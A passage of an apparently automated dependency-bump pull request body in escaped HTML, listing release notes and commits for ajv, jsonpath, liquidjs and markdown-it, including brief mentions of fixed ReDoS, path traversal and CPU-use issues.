href=\"https://github.com/josdejong\"\u003e\u003ccode\u003e@​josdejong\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2480\"\u003eajv-validator/ajv#2480\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2508\"\u003eajv-validator/ajv#2508\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/ajv-validator/ajv/compare/v8.17.1...v8.18.0\"\u003ehttps://github.com/ajv-validator/ajv/compare/v8.17.1...v8.18.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev8.17.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebump version to 8.17.1 by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2472\"\u003eajv-validator/ajv#2472\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/ajv-validator/ajv/compare/v8.17.0...v8.17.1\"\u003ehttps://github.com/ajv-validator/ajv/compare/v8.17.0...v8.17.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ePlus everything in 8.17.0 which failed to release\u003c/h2\u003e\n\u003cp\u003eThe only functional change is to switch from uri-js (which is no longer supported), to fast-uri. This is the second attempt and the team on fast-uri have been really helpful addressing the issues we found last time.\u003c/p\u003e\n\u003cp\u003eRevert \u0026quot;Revert fast-uri change (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2444\"\u003eajv-validator/ajv#2444\u003c/a\u003e)\u0026quot; by \u003ca href=\"https://github.com/gurgunday\"\u003e\u003ccode\u003e@​gurgunday\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2448\"\u003eajv-validator/ajv#2448\u003c/a\u003e\nfix: ignore new eslint error for \u003ccode\u003e@​typescript-eslint/no-extraneous-class\u003c/code\u003e by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2455\"\u003eajv-validator/ajv#2455\u003c/a\u003e\ndocs: clarify behaviour of addVocabulary by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2454\"\u003eajv-validator/ajv#2454\u003c/a\u003e\ndocs: refactor to improve legibility by \u003ca href=\"https://github.com/blottn\"\u003e\u003ccode\u003e@​blottn\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2432\"\u003eajv-validator/ajv#2432\u003c/a\u003e\nFix grammatical typo in managing-schemas.md by \u003ca href=\"https://github.com/wetneb\"\u003e\u003ccode\u003e@​wetneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2305\"\u003eajv-validator/ajv#2305\u003c/a\u003e\ndocs: Fix broken strict-mode link by \u003ca href=\"https://github.com/alexanderjsx\"\u003e\u003ccode\u003e@​alexanderjsx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2459\"\u003eajv-validator/ajv#2459\u003c/a\u003e\nfeat: add test for encoded refs and bump fast-uri by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2449\"\u003eajv-validator/ajv#2449\u003c/a\u003e\nfix: changes for \u003ccode\u003e@​typescript-eslint/array-type\u003c/code\u003e rule by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2467\"\u003eajv-validator/ajv#2467\u003c/a\u003e\nfixes \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2217\"\u003eajv-validator/ajv#2217\u003c/a\u003e - clarify custom keyword naming by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2457\"\u003eajv-validator/ajv#2457\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev8.17.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cp\u003eThe only functional change is to switch from uri-js (which is no longer supported), to fast-uri. This is the second attempt and the team on fast-uri have been really helpful addressing the issues we found last time.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;Revert fast-uri change (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2444\"\u003e#2444\u003c/a\u003e)\u0026quot; by \u003ca href=\"https://github.com/gurgunday\"\u003e\u003ccode\u003e@​gurgunday\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2448\"\u003eajv-validator/ajv#2448\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: ignore new eslint error for \u003ccode\u003e@​typescript-eslint/no-extraneous-class\u003c/code\u003e by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2455\"\u003eajv-validator/ajv#2455\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: clarify behaviour of addVocabulary by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2454\"\u003eajv-validator/ajv#2454\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: refactor to improve legibility by \u003ca href=\"https://github.com/blottn\"\u003e\u003ccode\u003e@​blottn\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2432\"\u003eajv-validator/ajv#2432\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix grammatical typo in managing-schemas.md by \u003ca href=\"https://github.com/wetneb\"\u003e\u003ccode\u003e@​wetneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2305\"\u003eajv-validator/ajv#2305\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Fix broken strict-mode link by \u003ca href=\"https://github.com/alexanderjsx\"\u003e\u003ccode\u003e@​alexanderjsx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2459\"\u003eajv-validator/ajv#2459\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add test for encoded refs and bump fast-uri by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2449\"\u003eajv-validator/ajv#2449\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: changes for \u003ccode\u003e@​typescript-eslint/array-type\u003c/code\u003e rule by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2467\"\u003eajv-validator/ajv#2467\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efixes \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2217\"\u003e#2217\u003c/a\u003e - clarify custom keyword naming by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2457\"\u003eajv-validator/ajv#2457\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/142ce84b807c4fe66e619c22480a28d0e4bd50fa\"\u003e\u003ccode\u003e142ce84\u003c/code\u003e\u003c/a\u003e 8.18.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/720a23fa453ffae8340e92c9b0fe886c54cfe0d5\"\u003e\u003ccode\u003e720a23f\u003c/code\u003e\u003c/a\u003e fix(pattern): use configured RegExp engine with $data keyword to mitigate ReD...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/82735a15826a30cc51e97a1bbfb59b3d388e4b98\"\u003e\u003ccode\u003e82735a1\u003c/code\u003e\u003c/a\u003e fix: typos in schema-language.md (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2507\"\u003e#2507\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/b17ec32cd97542e90ae27231d8a8bce88b9e53b6\"\u003e\u003ccode\u003eb17ec32\u003c/code\u003e\u003c/a\u003e fix: small grammatical error in managing-schemas.md (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2508\"\u003e#2508\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/69568d08564303e2c32a2de61feb833b41075f96\"\u003e\u003ccode\u003e69568d0\u003c/code\u003e\u003c/a\u003e fix: \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2482\"\u003e#2482\u003c/a\u003e Infinity and NaN serialise to null (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2487\"\u003e#2487\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/f06766f33ed7291f84c19f22a1286a34475fbdaf\"\u003e\u003ccode\u003ef06766f\u003c/code\u003e\u003c/a\u003e feat: allow tree-shaking by adding ``\u0026quot;sideEffects\u0026quot;: false\u003ccode\u003eto\u003c/code\u003epackage.json` ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/9050ba1359fb87cd7c143f3c79513ea7624ea443\"\u003e\u003ccode\u003e9050ba1\u003c/code\u003e\u003c/a\u003e bump version to 8.17.1 (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2472\"\u003e#2472\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/f7831b41c3a27064c6219f51a1e7371ffb582dfe\"\u003e\u003ccode\u003ef7831b4\u003c/code\u003e\u003c/a\u003e fixes \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2217\"\u003e#2217\u003c/a\u003e - clarify custom keyword naming (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2457\"\u003e#2457\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/a523784388a79ce65e42caf4d2731da36a94b386\"\u003e\u003ccode\u003ea523784\u003c/code\u003e\u003c/a\u003e fix: changes for \u003ccode\u003e@​typescript-eslint/array-type\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2467\"\u003e#2467\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/595fe58e64e8d5fb8a50fd7a58f9e7f3bcca0bac\"\u003e\u003ccode\u003e595fe58\u003c/code\u003e\u003c/a\u003e feat: add test for encoded refs and bump fast-uri (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2449\"\u003e#2449\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ajv-validator/ajv/compare/v8.12.0...v8.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `jsonpath` from 1.1.1 to 1.3.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/dchester/jsonpath/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `liquidjs` from 10.7.1 to 10.25.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/harttle/liquidjs/releases\"\u003eliquidjs's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.25.0\u003c/h2\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.24.0...v10.25.0\"\u003e10.25.0\u003c/a\u003e (2026-03-07)\u003c/h1\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003epath traversal vulnerability, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/851\"\u003e#851\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/855\"\u003e#855\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/3cd024d652dc883c46307581e979fe32302adbac\"\u003e3cd024d\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eexport error types, resolving \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/837\"\u003e#837\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/840\"\u003e#840\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/71aa1b1998a3a66e536af67c6ea8947a28616eaf\"\u003e71aa1b1\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.24.0\u003c/h2\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.23.0...v10.24.0\"\u003e10.24.0\u003c/a\u003e (2025-10-27)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efilters:\u003c/strong\u003e Add base64_encode and base64_decode filters for Shopify compatibility (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/828\"\u003e#828\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/86fc135d9ec0137689faf150535b9315e75ecc30\"\u003e86fc135\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.23.0\u003c/h2\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.22.0...v10.23.0\"\u003e10.23.0\u003c/a\u003e (2025-10-23)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExport specific tokens as types (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/824\"\u003e#824\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/4f7d2fd84a8884e1009b13346d331a99b9721149\"\u003e4f7d2fd\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.22.0\u003c/h2\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.21.1...v10.22.0\"\u003e10.22.0\u003c/a\u003e (2025-10-06)\u003c/h1\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003emath filters coerce invalid string to 0, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/813\"\u003e#813\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/819\"\u003e#819\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/e8e502c5854c9649bf7611a671a068dc260011d1\"\u003ee8e502c\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eallow context access in liquidMethodMissing, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/808\"\u003e#808\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/820\"\u003e#820\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/e55128850e507687f9d85a012fc3a72ac2550f3b\"\u003ee551288\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.21.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.21.0...v10.21.1\"\u003e10.21.1\u003c/a\u003e (2025-05-14)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eblock.super with strictVariables, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/806\"\u003e#806\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/807\"\u003e#807\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/025c40f0f2f13efa62193c61d2fa56943917ac3c\"\u003e025c40f\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/harttle/liquidjs/blob/master/CHANGELOG.md\"\u003eliquidjs's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.24.0...v10.25.0\"\u003e10.25.0\u003c/a\u003e (2026-03-07)\u003c/h1\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003epath traversal vulnerability, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/851\"\u003e#851\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/855\"\u003e#855\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/3cd024d652dc883c46307581e979fe32302adbac\"\u003e3cd024d\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eexport error types, resolving \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/837\"\u003e#837\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/840\"\u003e#840\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/71aa1b1998a3a66e536af67c6ea8947a28616eaf\"\u003e71aa1b1\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.23.0...v10.24.0\"\u003e10.24.0\u003c/a\u003e (2025-10-27)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efilters:\u003c/strong\u003e Add base64_encode and base64_decode filters for Shopify compatibility (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/828\"\u003e#828\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/86fc135d9ec0137689faf150535b9315e75ecc30\"\u003e86fc135\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.22.0...v10.23.0\"\u003e10.23.0\u003c/a\u003e (2025-10-23)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExport specific tokens as types (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/824\"\u003e#824\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/4f7d2fd84a8884e1009b13346d331a99b9721149\"\u003e4f7d2fd\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.21.1...v10.22.0\"\u003e10.22.0\u003c/a\u003e (2025-10-06)\u003c/h1\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003emath filters coerce invalid string to 0, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/813\"\u003e#813\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/819\"\u003e#819\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/e8e502c5854c9649bf7611a671a068dc260011d1\"\u003ee8e502c\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eallow context access in liquidMethodMissing, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/808\"\u003e#808\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/820\"\u003e#820\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/e55128850e507687f9d85a012fc3a72ac2550f3b\"\u003ee551288\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.21.0...v10.21.1\"\u003e10.21.1\u003c/a\u003e (2025-05-14)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eblock.super with strictVariables, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/806\"\u003e#806\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/807\"\u003e#807\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/025c40f0f2f13efa62193c61d2fa56943917ac3c\"\u003e025c40f\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.20.3...v10.21.0\"\u003e10.21.0\u003c/a\u003e (2025-02-23)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/93c38c7c6d1f3e4a3c64fc5f205cf6bff4be46a6\"\u003e\u003ccode\u003e93c38c7\u003c/code\u003e\u003c/a\u003e chore(release): 10.25.0 [skip ci]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/c7a291b46bbc51fad80c4c00d2463c189af1f0be\"\u003e\u003ccode\u003ec7a291b\u003c/code\u003e\u003c/a\u003e chore: update semantic-release dependencies (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/861\"\u003e#861\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/eb4683ee3ffbecc4d86108d2bc2c83fcb8d61c28\"\u003e\u003ccode\u003eeb4683e\u003c/code\u003e\u003c/a\u003e chore: update to NPM Trusted Release (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/860\"\u003e#860\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/f1fc573a657e5d09d0f8264941f9ed59b812a25b\"\u003e\u003ccode\u003ef1fc573\u003c/code\u003e\u003c/a\u003e docs: state differences regarding inspect array/hash, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/852\"\u003e#852\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/853\"\u003e#853\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/858\"\u003e#858\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/524cd92cfec1f234a261082a2ee6d2ac3462d3ff\"\u003e\u003ccode\u003e524cd92\u003c/code\u003e\u003c/a\u003e docs: add peaktwilight as a contributor for code (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/857\"\u003e#857\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/0d9e7978898b5d098caca65e8fae65b960c5d76d\"\u003e\u003ccode\u003e0d9e797\u003c/code\u003e\u003c/a\u003e docs: add MorielHarush as a contributor for code (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/856\"\u003e#856\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/3cd024d652dc883c46307581e979fe32302adbac\"\u003e\u003ccode\u003e3cd024d\u003c/code\u003e\u003c/a\u003e fix: path traversal vulnerability, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/851\"\u003e#851\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/855\"\u003e#855\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/85233e0568e5bfe7d5b9d8673335e4872ad21e88\"\u003e\u003ccode\u003e85233e0\u003c/code\u003e\u003c/a\u003e docs: update testmu sponsor link (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/850\"\u003e#850\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/02403a18798716f220ff65c222b86ae7896060f5\"\u003e\u003ccode\u003e02403a1\u003c/code\u003e\u003c/a\u003e docs: Change LambdaTest to TestMu AI (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/848\"\u003e#848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/harttle/liquidjs/commit/1c6316111d93426ecd4252f568ebe834e4439bb9\"\u003e\u003ccode\u003e1c63161\u003c/code\u003e\u003c/a\u003e docs: update docs for operators (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/847\"\u003e#847\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.7.1...v10.25.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for liquidjs since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `markdown-it` from 13.0.1 to 14.1.1\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/markdown-it/markdown-it/blob/master/CHANGELOG.md\"\u003emarkdown-it's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[14.1.1] - 2026-01-11\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed regression from v13 in linkify inline rule. Specific patterns could\ncause high CPU use. Thanks to \u003ca href=\"https://github.com/ltduc147\"\u003e\u003ccode\u003e@​ltduc147\u003c/code\u003e\u003c/a\u003e for report.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[14.1.0] - 2024-03-19\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated CM spec compatibility to 0.31.2, \u003ca href=\"https://redirect.github.com/markdown-it/markdown-it/issues/1009\"\u003e#1009\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed quadratic complexity when parsing references, \u003ca href=\"https://redirect.github.com/markdown-it/markdown-it/issues/996\"\u003e#996\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eFixed 